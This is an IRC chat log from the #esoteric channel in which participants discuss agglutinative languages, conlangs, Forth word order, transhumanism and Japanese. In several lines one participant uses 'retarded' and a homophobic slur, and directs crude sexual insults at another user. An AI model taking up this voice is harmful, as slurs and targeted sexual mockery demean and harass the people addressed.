23:40:19 <elliott_> Agglutinative languages tend to have a high rate of affixes/morphemes per word, and to be very regular[citation needed]. For example, Japanese has only two irregular verbs (and not very irregular), Luganda has only one (or two, depending on how 'irregular' is defined), Turkish has only one and in the Quechua languages all the verbs are regular. Georgian is an exception; not only is it highly agglutinative (there can be simultaneously up to 8 morphemes
23:40:19 <elliott_> per word), but there is also a significant number of irregular verbs, varying in degrees of irregularity.
23:40:19 <elliott_> no mention of finnish, probably because of SYSTEMATIC RACISM
23:40:36 <elliott_> actually i'm not sure how you go about inventing a language that isn't agglutinative, except maybe by being retarded
23:40:45 <miekko> in kayardild, if you have a subclause, every word in that subclause will be marked by the case of the noun it modifies
23:40:48 <miekko> so like
23:40:48 <elliott_> if it didn't sound so darn awkward half of my words would have like three hyphens in them
23:40:59 <elliott_> miekko: hey do we have two linguists in here now? :D
23:41:06 <miekko> I'm not really a linguist
23:41:10 <miekko> but I've read tons of typology
23:41:13 <elliott_> more than that n00b augur haha
23:41:13 <miekko> and it's my minor subject
23:41:18 <elliott_> he's all
23:41:20 <elliott_> OOH SYNTAX
23:41:22 <miekko> I know augur from elsewhere
23:41:24 <elliott_> and we're like lol ur dum
23:41:24 <miekko> syntax is fun.
23:41:31 <elliott_> sorry, you are getting in the way of me mocking augur
23:41:32 <elliott_> please cease
23:41:34 <miekko> but uh, cs syntax is
23:41:39 <miekko> funnier than linguistics syntax
23:41:46 <elliott_> <augur> hurf durf!! languages! syntax!
23:41:57 <elliott_> no no wait
23:42:03 <elliott_> i know how to strike pain into the centre of his heart
23:42:09 <elliott_> so that he will never recover from the absolute slander
23:42:11 <elliott_> <augur> BRB FELLATING CHOMSKY
23:42:12 <elliott_> OH
23:42:15 <miekko> ouch
23:42:21 <miekko> that's gotta sting
23:42:23 <elliott_> okay, someone who isn't me talk, i'm well on my way to making a fool of myself
23:42:53 <elliott_> or have possibly reached making a fool of myself and drove past mindlessly
23:42:58 <oerjan> <elliott_> actually i'm not sure how you go about inventing a language that isn't agglutinative, except maybe by being retarded <-- i think you emulate history by piling on so many sound changes you cannot see the boundary between the suffixes any more
23:43:16 <elliott_> oerjan: that _isn't_ agglutinative
23:43:19 <elliott_> or is that what you meant
23:43:37 <oerjan> of course
23:43:40 <miekko> elliott_: i'm also, like augur, into you know, trying to construct natural-like languages (as works of art, not as anything else)
23:43:54 <miekko> and uh, isolating languages aren't that difficult to construct
23:43:56 <elliott_> miekko: haha faggggggggggggggggggggggggggggggggggggggggg!
23:43:57 <elliott_> hi
23:44:00 <miekko> just sound change things to zero all the way
23:44:03 <oerjan> or sound changes that turn the suffixes into nothing
23:44:14 <elliott_> <miekko> SAPIR WHORF
23:44:15 <miekko> then do like chinese
23:44:17 <elliott_> man i'm slanderin' a lot today
23:44:26 <miekko> whenever you get homophones
23:44:39 <miekko> you add a synonym or something before or after it
23:44:49 <miekko> or some other word that feels reasonably related
23:44:58 <oerjan> and of course starting using auxiliary verbs and prepositions and the like instead of suffixes
23:45:01 <miekko> so, say owl, teacher and chair suddenly all are "pin"
23:45:13 <elliott_> :D
23:45:16 <elliott_> what about pin
23:45:17 <elliott_> what's pi
23:45:19 <elliott_> *pin
23:45:21 <elliott_> "chair"?
23:45:29 <miekko> then you take the word "bird" (which of course is now a synonyme with ran or whatever) and stick by owl
23:45:33 <miekko> so pin ran is bird
23:45:49 <miekko> by chair, you put the word butt - which of course is synonymous with another bunch of words
23:45:49 <elliott_> hmm, if i learned an agglutinative language i might end up just not bothering to use multiple words in a sentence
23:45:52 <miekko> and by teacher, you stick beard.
23:45:53 <elliott_> that might be... bad
23:45:53 <oerjan> (i recall reading indoeuropean prepositions derived from adverbs originally)
23:45:54 <miekko> etc
23:46:12 <miekko> oerjan: I think the occasional ones derive from nouns and verbs
23:46:23 <miekko> well not proto-indoeuropean ones
23:46:25 <miekko> but later ones
23:46:45 <miekko> in Finnish, many prepositions and postpositions still are visibly derived from nouns
23:47:40 <elliott_> hmm, I wonder whether forth is SOV or OSV
23:47:45 <elliott_> I think it might be the latter
23:48:12 -!- augur has quit (Read error: Connection reset by peer).
23:48:13 <oerjan> <elliott_> hmm, if i learned an agglutinative language i might end up just not bothering to use multiple words in a sentence <-- that would require more than just ordinary agglutinativity, you need polysynthetic
23:48:21 -!- Mannerisky has joined.
23:48:31 <elliott_> oerjan: you wanna bet?
23:48:42 -!- augur has joined.
23:48:54 <elliott_> i'd go for polysynthetic but it doesn't look like there are any languages that anyone speaks that are polysynthetic ;D
23:48:57 <miekko> elliott_: doesn't make much sense to consider computer langs as SOV or SVO or anything
23:49:02 <elliott_> miekko: does for forth
23:49:09 <oerjan> elliott_: in finnish and hungarian say, you still usually need separate words for subject, verb and object say
23:49:23 <elliott_> miekko: the typical forth style constructs short "sentences" out of words which are unarguably verbs
23:49:39 -!- nddrylliog has quit (Quit: Leaving).
23:49:41 <miekko> oerjan: generally, you can omit the subject if it's first or second person
23:49:50 <elliott_> e.g.
23:49:51 <miekko> elliott_: yeah but I guess there's no "cognitive" idea of subject and object?
23:49:54 <elliott_> 64 chars allot
23:49:54 <elliott_> ==
23:49:59 <elliott_> "allocate 64 chars"
23:50:04 <oerjan> yes, and in hungarian sometimes the object
23:50:10 <elliott_> miekko: well i'm not sure. I'm looking up what ! is now ("write to memory address")
23:50:13 <oerjan> but that's pronouns
23:50:14 <miekko> oerjan: yeah, that thing is pretty cool, really.
23:50:25 <elliott_> "value address !" would be OSV
23:50:26 <miekko> oerjan: they're still ... arguments of some kind
23:50:29 <elliott_> "address value !" would be SOV
23:50:30 <elliott_> I think
23:51:17 <miekko> hm
23:51:25 <elliott_> hmm
23:51:27 <miekko> well
23:51:28 <elliott_> it's "value addr !"
23:51:35 <miekko> in a sense
23:51:43 <elliott_> value address gets, oranges sam eats
23:51:44 <miekko> it's an imperative, not a subj obj verb thing
23:51:52 <miekko> so there's an implicit subject - the computer.
23:52:05 <elliott_> miekko: well, yes. but consider plain arithmetic
23:52:09 <elliott_> obviously there's no subject vs. object there
23:52:13 <elliott_> but it's definitely not an imperative
23:52:17 <miekko> not?
23:52:18 <elliott_> and forth still uses RPN there
23:52:24 <elliott_> 2 3 +
23:52:26 <elliott_> add two and three.
23:52:31 <miekko> yes
23:52:32 <elliott_> ok so that's an imperative the way it's phrased there
23:52:37 <elliott_> but that's not how forth code is reasoned about
23:52:49 <elliott_> ( m n -- m+n ) is how i'd "describe" it
23:52:52 <elliott_> in stack notation
23:53:04 <miekko> one can always reason about things in ways that suggests any number of things
23:53:09 <elliott_> and consider e.g. Joy, which ignoring IO is a purely functional language
23:53:09 <miekko> things that may not at all be analogous
23:53:10 <elliott_> miekko: oh certainly
23:53:14 <oerjan> <miekko> oerjan: I think the occasional ones derive from nouns and verbs <-- yeah i think norwegian "hos" (at ...'s house) and "til" (to) derive from words meaning house and goal, respectively
23:53:18 <elliott_> but forth code has a strong resemblance to sentences to me
23:53:53 <miekko> oerjan: does your dialect use til as an infinitive marker?
23:54:01 <elliott_> hm is ithkuil polysynthetic?
23:54:04 <miekko> (analogously to how English does)
23:54:06 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
23:54:19 <miekko> ithkuil is terrible, but I think polysynthetic is a badly defined thing anyway
23:54:53 <elliott_> miekko: you misspelled "awesome"
23:55:08 <oerjan> <miekko> elliott_: doesn't make much sense to consider computer langs as SOV or SVO or anything <-- well most imperative languages seem to be V first, at least
23:55:20 <oerjan> oh wait object orientation is SVO
23:55:27 <elliott_> YOU MISSPELLED AWESOME MIEKKO
23:55:44 <elliott_> oerjan: indeed.
23:55:50 <elliott_> J is of course SVO. or OVS, who can tell.
23:55:59 <elliott_> SVO, i'd say
23:56:05 <elliott_> I think array indexing is array first, index second
23:57:18 <miekko> elliott_: no, if I misspell awesome, it'll be avesome. it's a problem ve scandinawians sometimes hwe
23:57:29 <oerjan> <miekko> oerjan: does your dialect use til as an infinitive marker? <-- no we use "å" like most norwegians, cannot say i recall "til" used that way
23:57:45 <miekko> it's present in some dialects of Swedish - mine does it
23:58:11 <miekko> mine sounds a lot like northern norwegian if norwegian lost pitch accent
23:58:19 <oerjan> heh
23:58:31 <oerjan> well my dialect is northern norwegian
23:58:39 <miekko> ok, well, I figured it was worth a shot.
23:58:42 <elliott_> miekko: you still haven't apologised for your clearly incorrect remark, then!
23:58:50 <miekko> elliott_: no, ithkuil is terrible.
23:58:57 <elliott_> why must you lie?
23:58:59 <miekko> it's what we call a kitchen-sink conlang
23:59:16 <elliott_> miekko: heh, as snobbish as we esolangers
23:59:17 <miekko> and it's an almost entirely unartistic cartesian product of elements
23:59:20 <elliott_> Bah, brainfuck is lame!
23:59:26 <elliott_> LOLCode is a SIN UNTO THE GODS.
23:59:57 <miekko> natural languages tend not to be cartesian products of their elements
2011-02-24
00:00:03 <oerjan> elliott_: btw :()^! is also TC, i found out today
00:00:07 <elliott_> oerjan: neat!
00:00:14 <elliott_> miekko: ithkuil's author at least admits that it isn't natural...
00:00:16 <miekko> so like, you have fewer cases in the plural, or not the same modals in the past as in the present, etc etc
00:00:18 <elliott_> oerjan: now just remove ! :-P
00:00:28 <oerjan> elliott_: thinking about it :D
00:00:29 <miekko> ithkuil's just a list of elements and a cartesian X
00:00:39 <oerjan> (no conclusive idea yet)
00:00:41 <elliott_> miekko: Doesn't stop it being _fun_.
00:00:49 <miekko> but anyone can come up with that
00:01:00 <elliott_> miekko: Sure. does that matter?
00:01:03 <elliott_> ISTR oklopol was learning ithkuil a while back
00:01:08 <miekko> it takes skills to make something as deliciously torturous as Russian or English or Finnish
00:01:13 <elliott_> probably doing alright at it too...
00:01:25 <oerjan> (i have a sort of transfinite ordinal idea to start showing that :()^ _isn't_ TC, but it may only simplify the problem a little bit)
00:01:25 <elliott_> miekko: yeah, but there's room for a cartesian product alongside the other interesting stuff.
00:01:47 <miekko> well, at least the author of ithkuil doesn't believe he's in some kind of mystical communion with the inhabitants of another planet that speaks the language he has channelized
00:01:55 <miekko> (there's a conlanger like that...)
00:02:16 <elliott_> miekko: you misspelled "madman"
00:02:48 <miekko> or a future boddhisattva that bullies people into supporting his crazy, and has tried organizing conlangers into an organization under his leadership
00:03:01 <miekko> with the expressed intention of "making conlanging respected by academia"
00:03:11 <miekko> and "gaining insight into linguistics through conlanging"
00:03:44 <miekko> oh, that guy also is an otherkin
00:03:47 <miekko> a cat.
00:03:50 <elliott_> miekko: at least us esolangers are crazy in similarly predictable ways
00:03:55 <miekko> good.
00:04:05 <miekko> so what's the gravest psychosis present here?
00:04:18 <elliott_> um not really any as far as i know
00:04:35 <elliott_> oerjan is the only crazy one here :D /me runs away
00:04:38 -!- mtve has joined.
00:05:05 <elliott_> miekko: talk about how terrible lojban is /me gets popcorn
00:05:24 <miekko> lojban was intended as an experiment, though, iirc?
00:06:00 <elliott_> miekko: more like: loglan was, then lojban was formed to develop it to practicality
00:06:09 <elliott_> the "official" name is "Lojban: a realization of Loglan"
00:06:12 <miekko> ah
00:06:17 <elliott_> I don't think it's terrible, btw
00:06:20 <elliott_> but I have a feeling conlangers might
00:06:21 <miekko> see, I can't keep all that kind of trivia in my mind anyway
00:06:28 <miekko> I have some kind of respect for it
00:06:30 <elliott_> augur would only say "it's not natural" when pressed :D
00:06:31 <miekko> don't know much about it
00:06:52 <miekko> my main interests are typology (and syntactical typology primarily)
00:07:10 <elliott_> lojban jumps between function/verb (forget their name for it) parameters with integral indexes
00:07:13 <elliott_> which is a bit lame
00:07:27 <elliott_> although iirc each index has a specific meaning
00:07:43 -!- augur has quit (Remote host closed the connection).
00:07:53 <miekko> which is kind of silly, considering that being the subject for some given verb needn't have any real similarity to being the subject of some other, etc. ..
00:08:03 <elliott_> mm
00:08:12 <miekko> (otoh, not sure lojban has the idea of subjects)
00:08:17 <miekko> (some languages sort of don't)
00:09:22 <elliott_> alice in wonderland in lojban is quite amusing, if you scroll down the text fast enough it all looks the same
00:09:45 <miekko> oh
00:09:51 <miekko> on a forum I frequent
00:09:54 <miekko> I am being called a troll
00:10:06 <elliott_> what a rare event, on the internet!
00:10:18 <Mathnerd314> either everyone is trolling or nobody is
00:10:27 <miekko> for pointing out that ad hominem is generally not considered fair
00:10:32 <elliott_> Mathnerd314: there's a third possibility, some subset of people are trolling.
00:10:34 <miekko> ^ on a forum dedicated to rationalism!
00:10:35 <elliott_> hth
00:10:48 <elliott_> miekko: heh
00:10:54 <elliott_> Not Less Wrong I hope :P
00:10:56 <miekko> no.
00:11:01 <miekko> rationalskepticism
00:11:02 <miekko> otoh
00:11:14 <elliott_> Most "rationalism" forums are a bit (very) terrible
00:11:17 <miekko> once I got a moderator advisory there, because a moderator kept misrepresenting my statements
00:11:28 <miekko> and I called him out on it
00:11:29 <elliott_> usually because they are started by people who equate atheism and rationalism
00:11:36 <miekko> obviously.
00:11:51 <miekko> so they only pay lip service to the rest of rationalism
00:11:58 <miekko> and this is something I am afraid may become way more common
00:12:16 <miekko> as people too stupid to realize religion is wrong accidentally become atheists
00:12:23 <elliott_> rationalskepticism looks like an offshoot of the richard dawkins forums to me. but that's just a first impression
00:12:27 <miekko> yeah it is
00:12:51 <elliott_> miekko: well less wrong has very little discussion of atheism but might not be... to the tastes of most denizens of rationalism forums :P
00:13:15 <Mathnerd314> elliott_: law of excluded middle. Nobody can "somewhat troll"
00:13:16 <miekko> I know of less wrong through another friend, who's kind of fascinated with it
00:13:30 <miekko> but, uhm, posthumanism and such doesn't really appeal to me.
00:13:33 <elliott_> Mathnerd314: that has nothing to do with the law of excluded middle
00:13:38 <elliott_> miekko: *transhumanism
00:13:44 <miekko> right, sorry
00:13:48 <Mathnerd314> elliott_: I know. I just like saying random things :-)
00:13:50 <elliott_> miekko: less wrong isn't mostly about transhumanism tbh
00:13:52 <elliott_> Mathnerd314: :P
00:13:55 <miekko> elliott_: somewhat, though
00:14:07 <miekko> and it's one of the flavours of stupid that
00:14:09 <Mathnerd314> elliott_: it also sounds somewhat related
00:14:11 <miekko> I try and avoid
00:14:11 <oerjan> <elliott_> Most "rationalism" forums are a bit (very) terrible <-- a bit like "democratic" in the official name of countries? :D
00:14:17 <miekko> because it attracts me a bit too much
00:14:27 <miekko> for some reason, stupidity is a thing I love to observe
00:14:27 <miekko> it
00:14:30 <elliott_> miekko: transhumanism isn't stupid IMO; the popular perception of transhumanism on the other hand...
00:14:49 <miekko> yeah, but like, think of the economy of immortality
00:15:09 <elliott_> miekko: that only applies if scarcity holds
00:15:11 <elliott_> oerjan: heh indeed
00:15:12 <miekko> (immortality, of course, not being all what transhumanism is about, but it's one of the things)
00:15:32 <elliott_> miekko: more precisely most Less Wrongers are /Singularitarians/ which obviously makes the economy of it irrelevant, ignoring all else
00:15:39 <elliott_> (because it pretty much implies post-scarcity)
00:15:41 <miekko> yeah, singularitarianism is even worse.
00:15:50 <miekko> I'm with Scott Aaronson on that
00:15:53 <elliott_> respectfully disagree :)
00:16:02 <miekko> thinks that look exponential often turn out to be sigmoid
00:16:09 <elliott_> miekko: oh ouch, ignore Kurzweil!
00:16:18 <elliott_> no sane singularitarian argues based on exponential progress
00:16:28 <oerjan> <Mathnerd314> elliott_: law of excluded middle. Nobody can "somewhat troll" <-- i am wondering if i'm detecting a self-refuting statement here :D
00:16:33 <miekko> yeah but even polynomial progress is probably unlikely
00:16:51 <elliott_> miekko: nobody sane argues for the singularity based on inherent rate of progress either :)
00:17:04 -!- cheater00 has joined.
00:17:09 <Mathnerd314> oerjan: it's not self-referential, so it can't be self-refuting
00:17:14 <elliott_> apart from kurzweil it's more a combination of "a singularity would be a good thing; and a singularity is possible"
00:17:48 <elliott_> hey, we successfully strayed wildly off topic again!
00:17:51 <elliott_> i love it when this happens
00:17:58 <miekko> altho I think a singularity would be a good thing, I think it very likely, to the extent it's possible, is less dramatic than we'd think
00:18:12 <Mathnerd314> elliott_: was there a topic?
00:18:19 <oerjan> Mathnerd314: well i first detected accidental self-reference
00:18:34 <elliott_> miekko: I don't think a suitably-morally-equipped self-improving superintelligence could possibly have a non-dramatic effect, but whatever :0
00:18:35 <elliott_> *:)
00:18:52 <elliott_> whereby moral i mean supergoal or equivalent
00:19:01 <miekko> what do we mean by "superintelligence"
00:19:18 <miekko> if we barely have a good understanding of what an "intelligence" is, it's hard to really say
00:19:20 <elliott_> miekko: stop asking questions or i'll end up linking to yudkowsky, which is just too stereotypical
00:19:34 <miekko> I've read quite a bit of yudkowsky
00:19:41 <miekko> and I'm not satisfied with his stuff
00:19:48 <elliott_> superintelligence is a well-defined term meaning an intelligence orders of magnitudes greater than a human's, where greater is defined as both more accurate and faster
00:19:50 <miekko> but I'm not interested enough in the topic to start asking
00:19:57 -!- zzo38 has joined.
00:20:00 -!- cheater- has quit (Ping timeout: 272 seconds).
00:20:03 <elliott_> I'm not the world's biggest Yudkowsky fan but he's nice enough
00:20:11 <Mathnerd314> miekko: so.. "I'm right, but too lazy to explain why"
00:20:13 <miekko> elliott_: so we define something by something we don't quite know wht it is
00:20:22 <elliott_> miekko: what is it that i don't know what it is
00:20:28 <miekko> Mathnerd314: no, more like, I may be wrong, but I'm not willing to care enough to be sure about it
00:20:32 <elliott_> Mathnerd314: either Mathnerd314 is trolling, or everybody is trolling.
00:20:40 <miekko> elliott_: we don't quite know what intelligence is
00:20:43 <elliott_> hmm. definitely mathnerd
00:20:47 <Mathnerd314> elliott_: yeah, stop trolling already ;-)
00:20:51 <elliott_> miekko: no, but we don't have to to talk about superintelligences :)
00:20:57 <miekko> iirc Turing said something about there being theorems that anything intelligent will be wrong at times, though
00:21:11 <miekko> (well, badly rephrased=
00:21:13 <miekko> )
00:21:18 <elliott_> oh certainly
00:21:24 <oerjan> Mathnerd314: i realized your statement might not be self-refuting away, since you might be completely trolling
00:21:36 <elliott_> but we don't need to get at the intangible metaphysical ontological epistemological DEEP INNER MEANING of the word "intelligence" to talk about an intelligent being faster and more accurate at making deductions than a human
00:21:41 <elliott_> (any human, to be precise)
00:21:45 <pikhq> miekko: Y'know, at this point an artificial human-level intelligence seems not merely possible but will likely happen *soon*.
00:21:59 <miekko> pikhq: yeah, so is fusion reactors
00:22:05 <Mathnerd314> oerjan: all my statements are intended to be considered as "Mathnerd314 said on IRC that ... "
00:22:07 <elliott_> pikhq: I find "soon" far too optimistic.
00:22:10 <miekko> both have been decades away for half a century
00:22:12 <zzo38> Can there be Checkout with fixed-point? Is there fixed-point GPU exist?
00:22:22 -!- augur has joined.
00:22:27 <elliott_> miekko: but but but kurzweil told me that
00:22:33 <elliott_> and unicorns, for everyone!!
00:22:38 <miekko> oh, unicorns
00:22:39 <pikhq> elliott_: We're not too far from it being possible to do whole-brain emulation.
00:22:40 <miekko> sorry, I was wrong
00:22:45 <miekko> I have to reevaluate my stance.
00:22:51 <miekko> unicorns, who can oppose them?
00:22:52 <elliott_> pikhq: that's not the same thing as writing a self-improving intelligence from scratch :)
00:23:07 -!- copumpkin has joined.
00:23:10 <pikhq> elliott_: I only said human-level intelligence.
00:23:12 <elliott_> Unicrons.
00:23:13 <zzo38> How are unicorns relevant?
00:23:17 <elliott_> pikhq: oh, didn't see
00:23:27 <elliott_> pikhq: full-brain emulation will be RATHER slow on current hardware though afaik :)
00:23:51 <elliott_> anyway
00:23:55 <elliott_> time to reask my question :33
00:23:56 <pikhq> elliott_: Though an emulated brain could plausibly self-improve, what with having no biological limits to care about. :P
00:23:57 <Mathnerd314> well, you make the brain you're emulating consider how to optimize your emulation
00:24:15 <elliott_> pikhq: say i want to learn an agglutinative language and ONLY an agglutinative language, how good a pick is japanese
00:24:19 <elliott_> vs. say finlandish
00:24:20 <pikhq> Mathnerd314: If it's slower than you, then what's the point?
00:24:22 <zzo38> Should you use quantum computer if you want to attempt this?
00:24:31 <elliott_> Mathnerd314: it'd only be as smart as we are, by definition
00:24:38 <elliott_> and slower, so we'd do a better job of optimising it than it would
00:24:49 <elliott_> never mind that hooking it up to IO ports will take longer than just being able to emulate it
00:24:55 <pikhq> elliott_: Depends, how much do you care about Japanese cultural exports?
00:24:56 <Mathnerd314> well, it has a much higher incentive
00:25:03 <elliott_> oh and of course nobody is likely to raise any complaints when the emulator is switched off permanently, killing a sentient lifeform...
00:25:14 <elliott_> Mathnerd314: not if it doesn't know where it is.
00:25:19 <elliott_> and no, not really, think about it, thinking slower is a superpower
00:25:24 <elliott_> it can see stuff pass by much faster
00:25:27 <oerjan> <pikhq> elliott_: We're not too far from it being possible to do whole-brain emulation. <-- it occurs to me that it might need a body too in order not to go mad from sensory deprivation
00:25:30 <elliott_> which, when you have nothing to do, would make things less boring :D
00:25:31 <Mathnerd314> elliott_: sure. I make emulations of sentient people all the time and kill them.
00:25:39 <elliott_> oerjan: indeed. but i doubt that'll stop anyone rushing in to it :)
00:25:43 <elliott_> Mathnerd314: but not sentient emulations
00:25:45 <pikhq> oerjan: s/body/IO/
00:25:51 <augur> elliott_: what now
00:25:56 <elliott_> oerjan: give it an INTERNET BODY
00:25:56 <Mathnerd314> elliott_: is there a difference?
00:26:03 <elliott_> augur: just saying you were sucking on chomsky's dick
00:26:05 <elliott_> nothing much
00:26:06 <elliott_> Mathnerd314: yes.
00:26:13 <cheater00> https://github.com/karthick18/inception/blob/master/inception.c
00:26:14 <oerjan> pikhq: no not just IO, we are talking about a _human_ brain here, it needs human-style senses
00:26:25 <elliott_> oerjan: fuck that, internet body
00:26:30 <pikhq> oerjan: The human brain is absurdly flexible about IO, actually.
00:26:33 <elliott_> oerjan: hooked right up to porn and reddit
00:26:35 <elliott_> and irc
00:26:37 <Mathnerd314> cheater00: how many channels are you on?
00:26:39 <augur> elliott_: i dont see how that relates to lojban but ok
00:26:42 <elliott_> floating in a void of http
00:26:49 <elliott_> augur: it was earlier :)
00:26:56 <augur> how so?
00:26:58 <cheater00> Mathnerd314: all
00:26:59 <oerjan> pikhq: maybe. babies die without touch, you know.
00:27:05 <pikhq> Stick video and sound input *somewhere*, and the brain will actually figure it out.
00:27:10 <elliott_> augur: i literally said you were blowing chomsky.
00:27:16 <oerjan> the other senses might be less important, see helen keller
00:27:17 <Mathnerd314> cheater00: impossible, since I have several channels you aren't on
00:27:19 <augur> elliott_: yes, you just did
00:27:20 <augur> but why
00:27:21 <elliott_> oerjan: what pikhq says is true; the brain can adapt to all kinds of input
00:27:24 <elliott_> augur: to insult you
00:27:28 <augur> elliott_: o ok
00:27:33 <cheater00> Mathnerd314: entropy
00:27:43 <pikhq> So, yes, getting input is important, but that's not a hard problem.
00:27:48 <elliott_> oerjan: for instance if "artificial vision" were ever done in practice, figuring out how to send it to the brain would basically be unimportant
00:27:53 <elliott_> because the brain could figure it out itself
00:27:57 <Mathnerd314> cheater00: a positive integer, please, expressed in decimal notation
00:27:57 <elliott_> this has been observed, I strongly recall
00:28:07 <cheater00> Mathnerd314: by joining all channels i have sent out an infinite amount of information, but this information can only alter the universe at a finite rate
00:28:09 <pikhq> elliott_: "Artificial vision" is merely not a common procedure yet.
00:28:19 <elliott_> oerjan: touch would probably be important and the like. but it doesn't need to be mapped to the real world afaik
00:28:21 <elliott_> *afaict
00:28:29 <pikhq> elliott_: It is, however, actually done.
00:28:40 <Mathnerd314> cheater00: no, because the number of channels on freenode is finite.
00:28:53 <coppro> elliott_: You would need to make sure your input meets certain parameters
00:28:56 <cheater00> Mathnerd314: not all channels on freenode.
00:28:57 <elliott_> oerjan: and i suspect that if you gave a brain enough data, when it goes all "omg! i'm not getting any touch action", it'd likely map some input it's getting to touch
00:29:00 <cheater00> *ALL* channels.
00:29:09 <elliott_> in an "oh, guess my fingers are being all stupid with their signals" way
00:29:11 <coppro> but the brain is good at dealing with minor details like upside-down-ness
00:29:19 <elliott_> this is, of course, mere speculation.
00:29:28 <Mathnerd314> cheater00: how many channels *on freenode* are you on?
00:29:29 <elliott_> pikhq: you still haven't answered my question >:(
00:29:33 <pikhq> elliott_: Which?
00:29:40 <elliott_> Mathnerd314: break out of that infinite troll-loop
00:29:43 <cheater00> Mathnerd314: all.
00:29:47 <elliott_> <elliott_> pikhq: say i want to learn an agglutinative language and ONLY an agglutinative language, how good a pick is japanese
00:29:47 <elliott_> <elliott_> vs. say finlandish
00:29:49 <Mathnerd314> elliott_: sure.
00:30:04 <cheater00> Mathnerd314: you are under my power you will not break out of the loop EVER
00:30:06 <pikhq> 17:55 < pikhq> elliott_: Depends, how much do you care about Japanese cultural exports?
00:30:15 <Mathnerd314> cheater00: impossible.
00:30:24 <cheater00> Mathnerd314: your soul is mine for EVERRRRRrrrr
00:30:29 <elliott_> pikhq: I did not receive that.
00:30:29 <cheater00> r . r... r.
00:30:40 <elliott_> pikhq: I'm asking purely from an agglutinative point of view :P
00:30:46 <elliott_> I want to agglutinate SO MUCH
00:30:50 <Mathnerd314> cheater00: hah, how do you know I have a soul?
00:30:55 <pikhq> elliott_: Very good.
00:31:00 <cheater00> Mathnerd314: everyone has a soul.
00:31:00 <elliott_> pikhq: vs. finnish?
00:31:15 <pikhq> elliott_: I dunno about Finnish, but Japanese agglutinates a fuckton.
00:31:22 <Mathnerd314> cheater00: does... EgoBot have a soul?
00:31:33 <cheater00> it has a ghost.
00:31:34 <oerjan> elliott_: hm
00:31:54 <cheater00> the major has linked up with it and has found it to have a soul
00:32:10 <elliott_> oerjan: ?
00:32:13 <elliott_> pikhq: so does finnish :P
00:32:17 <cheater00> and batou will tell you she's never wrong about those things.
00:32:24 <elliott_> pikhq: but japanese doesn't have an explicit word division right?
00:32:35 <elliott_> so technically i could speak only in one-word sentences and nobody would notice? SAY YES
00:32:53 <pikhq> elliott_: Technically, one-word sentences are pretty common.
00:33:05 <pikhq> It helps that Japanese is a pro-drop language.
00:33:06 <pikhq> :)
00:33:48 <elliott_> pikhq: speakingsentencesonewordofexclusivelyelliottdesires
00:33:54 <elliott_> >_> <_<
00:34:03 <elliott_> *sentencesspeaking
00:34:06 <oerjan> elliott_: i'm just acknowledging your statements without anything new to say...
00:34:13 <elliott_> oerjan: oh right :D
00:34:15 <elliott_> forgot i was like
00:34:16 <elliott_> talking
00:34:29 <cheater00> japanese is like golfing for speech
00:35:11 <pikhq> elliott_: "iti kotohàno hùn tàke hanasitai"?
00:35:33 <elliott_> pikhq: That's far too many spaces.
00:35:47 <elliott_> Also, I would stick that into Google Translate but you're still using your romanisation scheme :P
00:36:08 <oerjan> ...now we see the REAL evil of pikhq's romanisation plot
00:36:10 <pikhq> 「一言葉の文だけ話したい。」
00:36:38 <elliott_> omg you can type "jap" to select japanese in the google translate box
00:36:38 <pikhq> Gaaah, I did it wrong, anyways.
00:36:40 <elliott_> and "en" for english and whatever
00:36:45 <pikhq> s/一/一つ/
00:36:50 <pikhq> s/iti/hitotu/
00:36:50 <elliott_> pikhq: but but but that's like multiple words!
00:37:23 <pikhq> elliott_: Agglutination doesn't go that far in any language, man.
00:37:32 <elliott_> pikhq: does in polysynthetic ones!
00:37:53 <elliott_> doesn't ainu use kanji?
00:37:57 <elliott_> that's polysynthetic, maybe i could pretend ;D
00:38:00 <elliott_> oh or is it just kana
00:38:07 -!- kwertii has joined.
00:38:08 <pikhq> Ainu only uses katakana.
00:38:16 <pikhq> Which are very poorly suited to Ainu, anyways.
00:38:28 <elliott_> From Classical Ainu, another polysynthetic, incorporating, and agglutinating language:
00:38:28 <elliott_> Usaopuspe aejajkotujmasiramsujpa.
00:38:28 <elliott_> usa-opuspea-e-jaj-ko-tujma-si-ram-suj-pa
00:38:28 <elliott_> various-rumors1-APL-REFL-far-REFL-heart-sway-ITER
00:38:28 <elliott_> 'I keep swaying my heart afar and toward myself over various rumors.' (i.e., I wonder about various rumors.)
00:38:33 <elliott_> the only problem there is the single space
00:38:38 <elliott_> just remove that, and it's perfect
00:38:48 <elliott_> also remove the stupid... communication by overwrought metaphor :D
00:39:03 <oerjan> 13:20:57 --- quit: clog (*.net *.split)
00:39:15 <oerjan> that's an interesting link to see in the tunes.org logs...
00:39:21 <elliott_> heh
00:39:40 -!- augur has quit (Remote host closed the connection).
00:39:53 <oerjan> hm it's clog_ at the moment
00:40:07 <oerjan> so probably that was genuine
00:42:32 <elliott_> 10:18:31 <Sgeo> Switching over to Ion3 ;-)
00:42:32 <elliott_> 10:20:25 --- quit: Sgeo (Remote closed the connection)
00:42:32 <elliott_> 10:25:49 --- join: Sgeo (n=sgeo@ool-18bf61f7.dyn.optonline.net) joined #esoteric
00:42:32 <elliott_> 10:32:50 --- quit: Sgeo (Remote closed the connection)
00:42:32 <elliott_> 10:34:41 --- join: Sgeo (n=sgeo@ool-18bf61f7.dyn.optonline.net) joined #esoteric
00:42:37 <elliott_> OH GOD, I FEEL HIS MALICIOUSNESS
00:42:38 <elliott_> ;-)
00:42:41 <elliott_> I'm scared.
00:43:07 <elliott_> (Further evidence of Sgeo_'s decline: my initial reaction was "SGEO? Using ion3? wait, this is from 2006.")
00:46:47 <elliott_> pikhq: watashinorisoutekinagengodehabunshouha1tsunotangodesu.
00:47:00 <elliott_> <pikhq> what.
00:47:18 <pikhq> elliott_: I'm not sure I'd call that a single word.
00:47:24 <elliott_> pikhq: Do you see any spaces?
00:47:28 <elliott_> pikhq: (What does that read as, BTW :P)
00:48:05 -!- zzo38 has quit (Quit: network repair).
00:48:19 <pikhq> In my logical language, sentences will have only 1ne word.
00:48:25 <elliott_> "1ne" xD
00:48:29 <elliott_> I take it that's not idiomatic.
00:48:35 <elliott_> It was *ideal* language, btw.
00:48:56 <pikhq> Sorry, minor mistranslation on my part.
00:49:10 <pikhq> Also, it's the wrong word for "word". "Tango" is more in the sense of vocabulary.
00:49:10 <elliott_> pikhq: watashihasubetenobunshoudedonnanitanjunmatahafukuzatsunatan'itsunotangotosoreijoudekouseisareterisoutekinagengonoanatatosubetenowatashinobijonwokyouyuushitaitoomoimasu.
